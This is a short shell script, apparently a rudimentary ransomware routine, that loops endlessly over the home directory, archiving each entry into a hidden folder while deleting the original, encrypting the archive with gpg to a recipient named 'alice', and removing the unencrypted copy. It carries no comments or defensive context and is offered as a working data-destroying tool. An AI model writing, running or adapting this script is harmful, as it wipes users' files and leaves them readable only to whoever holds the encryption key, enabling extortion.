#!/bin/sh cd ~/ encrypt(){ dirFile=$(ls | head -n 1) tar cf ~/.crypttt/$dirFile.tar.gz --exclude='.' --exclude='..' --exclude='.crypttt' --remove-files $dirFile gpg -e -r alice -o ~/.crypttt/$dirFile.tar.gpg ~/.crypttt/$dirFile.tar.gz && rm -rf ~/.crypttt/$dirFile.tar.gz } for (( ; ; )) do encrypt done